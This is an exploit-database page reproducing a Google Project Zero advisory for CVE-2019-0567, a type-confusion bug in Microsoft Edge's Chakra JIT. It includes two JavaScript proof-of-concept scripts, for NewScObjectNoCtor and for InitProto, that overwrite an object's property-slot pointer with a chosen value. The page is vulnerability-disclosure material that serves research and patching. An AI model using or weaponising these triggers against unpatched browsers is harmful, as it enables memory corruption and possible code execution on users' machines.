Advertisement






Microsoft Edge Chakra JIT NewScObjectNoCtor / InitProto Type Confusion

CVE Category Price Severity
CVE-2019-0567 CWE---- Not disclosed High
Author Risk Exploitation Type Date
Google Project Zero High Remote 2019-01-18
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H 0.0219 0.5015

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019010190

Below is a copy:

Microsoft Edge Chakra JIT NewScObjectNoCtor / InitProto Type Confusion
Microsoft Edge: Chakra: JIT: Type confusion via NewScObjectNoCtor or InitProto 

CVE-2019-0567


NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.

In the PoC, it overwrites the pointer to property slots with 0x1000000001234. 

PoC for NewScObjectNoCtor:

function cons() {

}

function opt(o, value) {
    o.b = 1;

    new cons();

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        cons.prototype = {};

        let o = {a: 1, b: 2};
        opt(o, {});
    }

    let o = {a: 1, b: 2};

    cons.prototype = o;

    opt(o, 0x1234);

    print(o.a);
}

main();

PoC for InitProto:

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x1234);

    print(o.a);
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.